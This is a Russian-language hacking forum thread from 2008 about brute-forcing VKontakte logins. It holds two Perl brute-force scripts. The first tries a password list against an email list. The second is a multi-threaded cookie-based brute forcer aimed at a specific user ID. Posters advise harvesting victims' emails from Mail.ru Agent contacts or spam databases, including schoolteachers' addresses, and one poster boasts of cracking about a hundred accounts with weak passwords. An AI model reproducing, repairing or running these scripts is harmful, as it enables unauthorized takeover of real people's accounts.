Вконтакте Взлом списка мыл на один пароль

Discussion in 'Уязвимости' started by GAVVVR, 2 May 2008.

  1. GAVVVR

    GAVVVR Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    60
    Likes Received:
    0
    Reputations:
    0
    На одном форуме нашел брутфорс для контакта на перле

    Code:
    #! /usr/bin/perl -w 
    use strict; 
    use HTTP::Request::Common; 
    use LWP::UserAgent; 
    use HTTP::Cookies; 
    
    #Список email 
    my $ml = 'emails.txt';  
    #Сбрученные аккаунты 
    my $fname = 'good.txt';  
    #Несбрученные аккаунты 
    my $fname1 = 'bad.txt';  
    #список паролей 
    my $psw = 'pass.txt';  
    my $control = '-1'; 
    my %example; 
    my (@data, @data1); 
    
    
    printf "Starting...\n"; 
    
    
    
    sub submit_query { 
        my ($file, %query) = @_; 
        my $user_agent = LWP::UserAgent->new(); 
        my $cookies = HTTP::Cookies->new; 
        my $cookie_jar = HTTP::Cookies->new( 
        file => 'cookies.dat', 
        autosave => 1, ); 
        $user_agent->cookie_jar($cookie_jar); 
        ################### ############################################# 
        $user_agent->agent("User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.8;" . $user_agent->agent); 
        ######################################## ######################## 
    
        my $request = POST 
        $file, 
        [%query]; 
         
        #################################################### ############ 
        my $response = $user_agent->request($request); 
        my $res = $response->as_string; 
        ####################################### #########################     
         
        if($res =~/<div id='error'>/ ) 
                            { 
                            print FILE1 "[!]Wrong password: "; 
                            $control = '0'; 
             
                            } 
                        else 
                            { 
                             
                                my $req = HTTP::Request->new(GET => "http://vkontakte.ru/profile.php"); 
                                my $response2 = $user_agent->request($req); 
                                my $res2 = $response2->as_string; 
                                 
                                if($res2 =~/id="percent">(.*)%</) 
                                { 
                                print FILE "[rate=$1]"; 
                                } 
                                if($res2 =~/percentGold">(.*)</) 
                                { 
                                print FILE "[gold_rate=$1]"; 
                                } 
                                $req = HTTP::Request->new(GET => "http://vkontakte.ru/settings.php"); 
                                $response2 = $user_agent->request($req); 
                                $res2 = $response2->as_string; 
                                if($res2 =~/контакте: <b>(.*)</) {print FILE "[id=$1]";} 
                                if($res2 =~/"idr" value="(.*)"/) {print FILE "[sid=$1]";} 
                                 
                                $control = '1'; 
                                 
                            } 
                             
                } 
    
    
        open(DAT, $ml) || die("Could not open emails file!"); 
        @data=<DAT>; 
        close(DAT); 
         
        open(DAT1, $psw) || die("Could not open passwords file!"); 
        @data1=<DAT1>; 
        close(DAT1); 
         
    
    my $time = time;  
    my $start = localtime; 
    printf "Vkontakte brutforoce\n"; 
    printf "Started at $start\n"; 
    
    foreach my $mail (@data) 
    { 
    chomp($mail); 
    foreach my $password (@data1) 
            { 
            chomp($password); 
            %example = (success_url => '', fail_url => '', try_to_login => '1', email => $mail, pass => $password); 
    
            open(FILE, ">>$fname") || die("Could not open $fname\n"); 
            open(FILE1, ">>$fname1") || die("Could not open $fname1\n"); 
            submit_query("http://vkontakte.ru/login. php", %example); 
             
                if ($control == '1')     
                    { 
                    print FILE "$mail : $password\n"; 
                    } 
                else 
                    { 
                    print FILE1 "$mail : $password\n"; 
                    } 
                 
            close FILE; 
            close FILE1; 
            } 
    } 
    $time = time-$time; 
    my $end = localtime; 
    printf "Completed at $end\n"; 
    printf "Time Elapsed: $time sec\n"; 
    
    Только он что то не так работает, либо это вообще не брутфорс. Он весь результат списывает в good.txt. Возможно даже и хороший. Кто может исправить это дело??? :confused: Я то не шарю в программировании, а брут вроде как неплохой. Доделайте его кто - нибудь, если это возможно :rolleyes: ...
     
  2. GAVVVR

    GAVVVR Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    60
    Likes Received:
    0
    Reputations:
    0
    PS я и на своем акке пробовал, он тоже в good записывает
     
  3. Lone Wolf

    Lone Wolf New Member

    Joined:
    30 Apr 2008
    Messages:
    16
    Likes Received:
    1
    Reputations:
    0
    :d
    больше слов лично у меня нет
     
  4. m9chik

    m9chik Elder - Старейшина

    Joined:
    20 Jun 2007
    Messages:
    68
    Likes Received:
    56
    Reputations:
    -5
    бредовая тема на самом деле,это придёться знать базу юзеров из контакта ... ну ща потестию...

    тестю до конца...
     
    #4 m9chik, 3 May 2008
    Last edited: 3 May 2008
  5. GAVVVR

    GAVVVR Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    60
    Likes Received:
    0
    Reputations:
    0
    Можно написать несколько паролей и штук десять мыльников (например своих преподов в школе) и он на каждый мыльник попробует все каждый пароль. Кстати, куча ламеров юзают маил ру агент, поэтому - знать мыльник - не проблема.
    Скрипт вроде шустренько работает. Мне очень нравится, что можно сразу несколько мыльничков брутить на кучу паролей. Только жаль, что он все в гуд пишет
     
  6. le-mon

    le-mon New Member

    Joined:
    11 Apr 2007
    Messages:
    50
    Likes Received:
    2
    Reputations:
    -5
    Обычная база для спама сойдёт.

    ЗЫ у меня не работала, ещё давно проверял.
     
  7. GAVVVR

    GAVVVR Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    60
    Likes Received:
    0
    Reputations:
    0
    Люди, включите свой мозг! Брут недоделанный, что вы тут про базы то говорите?
     
  8. GAVVVR

    GAVVVR Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    60
    Likes Received:
    0
    Reputations:
    0
    базу делать нефик. Взял маил ру агент, впалил все мыльники своих контактов - вот тебе и база. Потом лист с пассами типа 123456 втолкнул - и брути на здоровье. Только он все в ГУД записывает. Абидна
     
  9. m9chik

    m9chik Elder - Старейшина

    Joined:
    20 Jun 2007
    Messages:
    68
    Likes Received:
    56
    Reputations:
    -5
    всётаки брут тупак у меня ваще непашет=\
     
  10. bublebuble

    bublebuble Elder - Старейшина

    Joined:
    15 Sep 2007
    Messages:
    102
    Likes Received:
    28
    Reputations:
    0
    где ты такую кривизну откопал?вот рабочий со злова:
    Code:
    #!/usr/bin/perl
    
    use IO::Socket;
    use MD5;
    use threads;
    use threads::shared;
    my @pass : shared;
    
    ######################################
    # C!klodoL
    # vkontakte.ru bruteforce with multi-threads
    ######################################
    $dic = 'pass.txt';		#словарь паролей
    $id = 5951000;		#id цели
    $mail = 'ritorbo%40rambler.ru';	#мыло, вместо @ вписать %40
    $threads = 10;		#количество потоков
    ######################################
    
    open (pass, "<$dic");
    
    Next:
    @pass = pass();
    
    for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
    for(@trl) { $_->join; }
    
    sub Brut
    {
    
    while (@pass){
    
    $pass = shift @pass;
    
    $md5 = MD5->hexhash($pass);
    $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);
    print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
    	"Host: vkontakte.ru\r\n".
                "Accept: */*\r\n".
                "Content-Type: application/x-www-form-urlencoded\r\n".
                "User-Agent: Mozillo\r\n".
                "Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
                "Connection: close\r\n\r\n";
    $answ = <$sock>;
    close $sock;
    print "$pass  $answ";
    if ($answ =~ /302/){
    open (good, '>>good.txt');
    print good "$id:$pass:$md5\n";
    print "$id:$pass:$md5\n";
    close good;
    exit;}
    }
    
    }
    
    goto Next;
    
    sub pass
    {
    	my (@mas);
    	while (<pass>){
    	push @mas, $_;
    	last if (@mas == 400);
    	}
    	chomp @mas;
    	return @mas;
    }
     
  11. Vid0k

    Vid0k Elder - Старейшина

    Joined:
    24 Dec 2007
    Messages:
    393
    Likes Received:
    125
    Reputations:
    13
    Если я не ошибаюсь это брут kaimi
    а не C!klodoL
    http://forum.antichat.ru/thread69838-vkontakte.html
    хотя я уже сам не понимаю
    насчет базы любую базу мейл берете и все норм
    с базы в 50 000 я снял около сотни с пассом qwerty 123456 и тд
    ====
    гы три разных брута ток дошло)
     
    #11 Vid0k, 20 May 2008
    Last edited: 20 May 2008